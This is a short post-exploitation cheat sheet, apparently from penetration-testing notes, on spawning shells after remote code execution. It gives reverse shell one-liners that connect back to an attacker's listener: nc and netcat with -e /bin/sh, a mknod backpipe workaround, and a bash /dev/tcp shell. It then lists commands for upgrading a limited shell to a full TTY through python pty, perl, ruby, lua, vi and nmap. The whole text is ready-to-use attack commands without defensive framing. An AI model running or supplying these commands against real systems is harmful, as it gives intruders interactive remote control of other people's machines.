Post Exploitation

Spawn a shell

If we ger RCE on a machine by some means, how can we spawn a shell?

# With nc
nc LOCAL_IP LOCAL_PORT -e /bin/sh

# With netcat
netcat LOCAL_IP LOCAL_PORT -e /bin/sh

# nc with -e disabled
mknod backpipe p; nc LOCAL_IP LOCAL_PORT 0<backpipe | /bin/bash 1>backpipe

# without nc
/bin/bash -i > /dev/tcp/LOCAL_IP/LOCAL_PORT 0<&1 2>&1

Spawn a TTY Shell

Often, exploits will return a dumb shell - you can send commands and recieve results, but nothing else. We want to own them like we own our own machines, TTY and all. Here's a list of ways to spawn a TTY shell from a dumb shell.

From bash

python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
(From within IRB)
exec "/bin/sh"

From vi

:!bash
:set shell=/bin/bash:shell

From nmap

!sh